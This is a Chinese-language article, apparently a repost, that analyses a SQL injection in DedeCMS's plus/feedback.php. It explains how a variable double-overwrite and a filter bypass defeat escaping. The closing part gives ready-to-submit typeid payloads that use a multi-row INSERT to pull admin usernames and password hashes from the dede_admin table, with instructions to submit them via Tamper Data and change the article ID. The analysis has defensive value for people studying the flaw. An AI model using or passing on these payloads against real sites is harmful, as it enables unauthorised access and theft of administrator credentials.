您好,登錄后才能下訂單哦!
如何進行dedecms注入的分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
漏洞文件: plus\feedback.php。
存在問題的代碼:
...if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{//$typeid變量未做初始化
$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
echo $inquery;//調試,輸出查詢語句
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 發表評論錯誤! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回復
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `dede_feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
完整的輸入語句,第二個參數 typeid可控。
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');
common.inc.php文件 會把所有的request進行處理。
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
….
從上面代碼可以看到他對外來的提交進行了轉義處理,但是在filter.ini.php文件中
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
return $svar;
}
/* 對_GET,_POST,_COOKIE進行過濾 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}上面是處理敏感詞的代碼,但是又對變量進行了注冊,導致了變量二次覆蓋漏洞。其實這漏洞很早前就存在,之前的是因為對提交的變量只檢查一維數組的key,可以被繞過從而創建不允許的系統配置變量,dedecms歷來的修改都讓人摸不著頭腦,修補的都是表面的東西,實質導致漏洞問題的原因不做修改。從這次的補丁看來,他就只加了一句判斷$typeid是否為數字,對于80sec的防注入代碼2次被繞過還繼續無視。
所以在GPC=OFF的時候,被轉義的變量又會被重新覆蓋而變成正常代碼。
Eg: typeid=2\’ 經過覆蓋 typeid=2’
研究過上次dedecms SQL注入的問題的同學肯定了解他的防注入機制。這里做下簡單的分析。他對于\到\之間的內容作為可信任,不對其進行檢查。所以我們只要把想利用的代碼放在’ ‘內就能躲過檢查。利用Mysql的一個語法,他的值@`’`為空,下面來構造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此參數,
其實這里也利用了一個小bug
可以看到他的表結構,只有msg可以為null,但是利用代碼中在username中用了null,這是非法的語句,單獨插入是不會成功的,但是后面一句語句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合條件的時候會成功同時插入2條語句。由于顯示字符數量的問題,所以選擇了msg字段作為輸出。
補充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg` aid是文章的ID 所以直接用我的語句是不成功的,需要修改成自己的文章ID
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(評論文章ID,’1111
如 Tamper提交,(文章id=123)msg改為 www.hack6.com
mcbang&typeid=0','3','4','5','0','1351739660',%20'0','0','0','0','0','aaaaaa'),('123','2',@`'`,'4','5','1','1351739660',%20'0','0','0','0','0',(SELECT concat(uname,0x5f,pwd,0x5f) from '@#__admin')),(123,'2
關于如何進行dedecms注入的分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。